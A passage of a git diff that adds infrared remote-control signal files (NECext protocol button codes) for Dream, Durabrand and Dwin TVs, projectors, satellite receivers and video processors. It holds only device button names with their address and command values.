+protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: BLUE_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: BACKGROUND +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 44 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 45 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 51 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 51 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 52 00 00 00 +# +name: LAME! +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 52 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 53 00 00 00 +# +name: RADIO_O +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 53 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 53 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 53 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 54 00 00 00 +# +name: SET-TOP_BOX_0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 60 00 00 00 +# +name: SET-TOP_BOX_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 61 00 00 00 +# +name: SET-TOP_BOX_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 62 00 00 00 +# +name: SET-TOP_BOX_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 63 00 00 00 +# +name: SET-TOP_BOX_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 64 00 00 00 +# +name: SET-TOP_BOX_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 65 00 00 00 +# +name: SET-TOP_BOX_6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 66 00 00 00 +# +name: SET-TOP_BOX_7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 67 00 00 00 +# +name: SET-TOP_BOX_8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 68 00 00 00 +# +name: SET-TOP_BOX_9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 69 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: B4 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: E8 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: E8 00 00 00 +# +name: RWD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: F0 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: F1 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: F2 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: F3 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir new file mode 100644 index 000000000..4c9228c61 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/41,0.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: RIGHT +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 24 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 29 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir b/assets/resources/infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir new file mode 100644 index 000000000..6093c1702 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 0F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 10 00 00 00 +# +name: quick_view +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 11 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 13 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 1A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 1E 00 00 00 +# +name: status +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 40 00 00 00 +# +name: display_cancel +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 42 00 00 00 +# +name: text_mix_tv +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 45 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4A 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4C 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 4D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 55 00 00 00 +# +name: normal +type: parsed +protocol: NECext +address: 80 63 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir new file mode 100644 index 000000000..fef85780b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: T/V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir new file mode 100644 index 000000000..b006a6991 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 73 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 74 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 75 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 75 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 77 00 00 00 +# +name: 0_-_DVI_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7C 00 00 00 +# +name: 1_-_COMPOSITE_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7D 00 00 00 +# +name: 2_-_COMPOSITE_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7E 00 00 00 +# +name: 3_-_S-VIDEO_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7F 00 00 00 +# +name: 4_-_S-VIDEO_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 80 00 00 00 +# +name: 5_-_COMPONENT_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 81 00 00 00 +# +name: 6_-_COMPONENT_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 82 00 00 00 +# +name: 7_-_RGB_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 83 00 00 00 +# +name: 8_-_RGB_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 84 00 00 00 +# +name: 9_-_DVI_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 85 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8B 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir new file mode 100644 index 000000000..832c08afe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/Projector/15,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 73 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 74 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 75 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 76 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 77 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 80 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 81 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 82 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 83 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 84 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 85 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 87 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8E 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir new file mode 100644 index 000000000..17f05907f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: CTR_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 70 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 71 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 73 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 74 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 75 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 77 00 00 00 +# +name: 0_-_DVI2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7C 00 00 00 +# +name: 1_-_COMPOSITE_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7D 00 00 00 +# +name: 2_-_COMPOSITE_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7E 00 00 00 +# +name: 3_-_SVIDEO_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7F 00 00 00 +# +name: 4_-_SVIDEO_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 80 00 00 00 +# +name: 5_-_COMPONENT_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 81 00 00 00 +# +name: 6_-_COMPONENT_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 82 00 00 00 +# +name: 7_-_RGB1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 83 00 00 00 +# +name: 8_-_RGB2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 84 00 00 00 +# +name: 9_-_DVI_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 85 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 87 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 88 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8A 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8C 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8E 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8F 00 00 00 +# +name: MODE_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 90 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir new file mode 100644 index 000000000..de583023a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: T/V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: OFF/ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: SELECT_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: FLASHBK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: SELECT_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: ADJ_> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: ADJ_< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir new file mode 100644 index 000000000..2b986a0ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Processor/7,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir new file mode 100644 index 000000000..c1d5fa25c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir @@ -0,0 +1,536 @@ +Filetype: IR signals file +Version: 1 +# +name: ALT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: CTR_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: FLASHBK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: OFF/ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 0_-_DVI2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 1_-_COMPOSITE_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 2_-_COMPOSITE_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 3_-_SVIDEO_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 4_-_SVIDEO_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 5_-_COMPONENT_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 6_-_COMPONENT_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 7_-_RGB1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 8_-_RGB2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: 9_-_DVI_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: SELECT_^ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 